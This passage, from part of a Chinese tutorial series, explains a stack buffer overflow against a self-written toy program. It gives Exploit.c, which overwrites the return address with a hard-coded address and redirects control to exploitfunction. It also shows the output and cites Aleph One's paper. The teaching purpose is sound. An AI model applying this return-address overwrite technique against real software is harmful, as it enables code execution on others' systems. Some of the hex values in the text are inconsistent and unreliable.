对错误,漏洞和exploits的说明(5)


is 0x%。8X ",&exploitfunction); 

else 
printf("Please provide the program with at least 1 commandline argument. "); 
ExitProcess(0); 


我已经创建了3个函数,一个是主函数,其他2个分别是:在正常情况下执行的normalfunction,以及利用函数exploitfunction。程序的目的是溢出缓冲区以至于返回地址将指向替换了normalfunction后面下一条指令的exploitfunction函数。 

现在我们需要指出文本字符串要多大才能完全覆盖栈中的返回地址。有这个作为目标,就好办了!我们每次增加一个字符直到程序崩溃。 

当我在Windows系统上使用Dev-cpp编译完程序以后,我知道了在程序崩溃之前最多需要27个A。 
exploitfunction函数的地址以16进制形式表示,并且字节值经常表现出:地址是不可打印的字符。我写了一个小程序,它将给这个易受攻击的程序提供必要的字符串以利用它。 

在我的环境中,exploitfunction函数的地址(从易受攻击的程序内部我方便地打印得到)是0x00401290。因为栈在Intel x86系统上是以逆序存储所有数据的(这篇文档中那不会被说明),我们需要准备一个相同的字符串。因此可能的值类似于
0x41414141414141414141414141414141414141414141414141414141901240. 

你可以看到,这里的字符'A'(0x41)我使用的是16进制的表现形式,那是存储在栈中的真实值。结果就是,exploit非常简单: 

Exploit.c: 


Copy code
#include "stdio.h" 
main() 

char workbuffer[200]; 
char tempbuf[4]; 
strcpy(workbuffer,"vulnerable_program AAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 
tempbuf[0]=0x90; 
tempbuf[1]=0x12; 
tempbuf[2]=0x40; 
tempbuf[3]=0; 
strcat (workbuffer,tempbuf); 
system(workbuffer); 
return 0; 


这段程序所做的就是复制字符串"vulnerable_program AAAAAAAAAAAAAAAAAAAAAAAAAAAA"到一个缓冲区中,并用新的返回地址创建另一个缓冲区,附加在工作缓冲区之上。 
在那之后,程序调用system()来执行字符串中的命令。输出结果是: 
C:>exploit.exe 
This line will be printed after successfully exploiting the buffer overflow. 
Press any key to continue…… 

太棒了,它执行了! 

难道那不伟大吗? 

虽然我们实际上并没有成功让程序运行我们自己的代码,但经过一些小小的改变就能完成。 
关于缓冲区溢出的更多相关信息请参考Aleph One写的著名文章"Smashing the stack for fun and profit"

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1438.html